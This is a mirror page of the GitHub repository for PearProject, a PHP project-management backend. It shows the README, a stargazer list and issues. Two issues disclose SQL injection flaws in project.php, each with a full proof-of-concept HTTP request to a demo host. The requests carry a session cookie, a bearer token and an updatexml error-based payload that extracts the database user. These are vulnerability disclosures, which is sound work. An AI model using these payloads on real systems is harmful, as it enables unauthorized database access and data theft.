a54552239 / pearprojectapi Goto Github PK

View Code? Open in Web Editor NEW

579.0 16.0 245.0 15.77 MB

项目管理系统后端接口

Home Page: https://home.vilson.xyz

License: GNU General Public License v3.0

PHP 97.94% Batchfile 0.03% Shell 0.12% PLpgSQL 0.24% Smarty 1.54% Dockerfile 0.13%

pearprojectapi's Introduction

PearProject

Pear，梨子项目管理系统

相关资料：https://www.yuque.com/bzsxmz

安装指南：https://www.yuque.com/bzsxmz/siuq1w/kggzna

需要配合前端项目使用，链接：https://github.com/a54552239/pearProject

有不明白的地方的可以加群：275264059，或者联系我，QQ：545522390

演示地址

https://home.vilson.xyz

友情链接

JAVA版本：https://gitee.com/wulon/mk-teamwork-server

界面截图

功能设计

鼓励一下

pearprojectapi's People

Contributors

Stargazers

Watchers

Forkers

lgb020 zhangziyi123 liliang8858 zagang lucipher lixiaohui100200 roach57 gudufun afunnykitty shuyabin icarusliu tongxin3267 fuchen2020 afeng2016 lobj hunx zeroisstart shanghuxiaozi luyuxuan1998 incidunt awesome-product yalehu mmtapltd karatsing wlmmfx nuts2015 jxby mrlelong colinox zygzygzyg raytue985 wkfff jili0503 zhaojinwei gdzy1987 allensong815260 alvinone wjf2016 xinglu arry009 anazh tomdev2008 xjiaon libok elwinyao wonderaxx stlcours sggithubblog hottredpen torns aimeko hkduke jangocheng warrior701 midikang lionwang hudynasty zudeng-h casually xuze1993 nevellson yangchunjian nhmice gxscdylan jason233 skyformat99 fengkai777 aionliao jh20110309 rockmelodies supercoeus 2424004764 hackeryl00 hjk201960 furniture1997 suanfeng smallsha123 aaroncao jaydonran starmu007 liaobude cay914 mynameistang imwill-wang binevlea rubbish822 a616533905 miazzy aerfa21 p7528755 apple0407 xx2life thyssenqi uiouio zhengyuanhong baitongda xjmhz i1ch wudaoren h2zzhou

pearprojectapi's Issues

绑定钉钉账户时报错

环境 php7.2
绑定钉钉账号时, 报错

There is a SQL vulnerability in project.php

Login to demo account

In line 242 of the selfList method in the project.php file, pass the controllable request parameters memberCode and organizationCode into the getMemberProjects function, and the memberCode must be legal and exist in the database.

The SQL statement in the getMemberProjects function is directly spliced with the organizationCode parameter, causing the SQL statement to be closed, and then the malicious, closed SQL statement will enter the query method for execution, and the attacker can use it to obtain data

POC:
POST /index.php/project/project/selfList HTTP/2
Host: beta.vilson.xyz
Cookie: se0d06741=5rkiv0sqvn1otra27va1jlfgfo
Content-Length: 168
Sec-Ch-Ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109"
Organizationcode: 6v7be19pwman2fird04gqu53
Sec-Ch-Ua-Mobile: ?0
Authorization: bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiIiLCJhdWQiOiIiLCJpYXQiOjE2NzY5NDU0MTAsIm5iZiI6MTY3Njk0NTQxMCwiZGF0YSI6eyJjb2RlIjoiNnY3YmUxOXB3bWFuMmZpcmQwNGdxdTUzIn0sInNjb3BlcyI6ImFjY2VzcyIsImV4cCI6MTY3NzU1MDIxMH0.G18ME7UI0EHAxaTSV751smgNfETb1Q0O0e9mv-6L42I
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/plain, /
Sec-Ch-Ua-Platform: "macOS"
Origin: https://beta.vilson.xyz
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://beta.vilson.xyz/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

delete=0&all=0&page=1&pageSize=20&organizationCode=6v7be19pwman2fird04gqu53'+and+updatexml(1,concat(0x7e,(select+user()),0x7e),1)%23&memberCode=6v7be19pwman2fird04gqu53

Screenshot of a successful attack:

There is a SQL vulnerability in project.php (2)

In line 377 of the getLogBySelfProject method in project.php, when the projectCode parameter is not empty, the projectCode parameter is directly spliced into the SQL statement, causing the attacker to close and splice the SQL statement for SQL injection

POC：

POST /index.php/project/project/getLogBySelfProject HTTP/2
Host: beta.vilson.xyz
Cookie: se0d06741=5rkiv0sqvn1otra27va1jlfgfo
Content-Length: 100
Sec-Ch-Ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109"
Organizationcode: 6v7be19pwman2fird04gqu53
Sec-Ch-Ua-Mobile: ?0
Authorization: bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiIiLCJhdWQiOiIiLCJpYXQiOjE2NzY5NDU0MTAsIm5iZiI6MTY3Njk0NTQxMCwiZGF0YSI6eyJjb2RlIjoiNnY3YmUxOXB3bWFuMmZpcmQwNGdxdTUzIn0sInNjb3BlcyI6ImFjY2VzcyIsImV4cCI6MTY3NzU1MDIxMH0.G18ME7UI0EHAxaTSV751smgNfETb1Q0O0e9mv-6L42I
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/plain, /
Sec-Ch-Ua-Platform: "macOS"
Origin: https://beta.vilson.xyz
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://beta.vilson.xyz/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

page=1&pageSize=123&projectCode=121312312312'+or+updatexml(1,concat(0x7e,(select+user()),0x7e),1)%23

Screenshot of a successful attack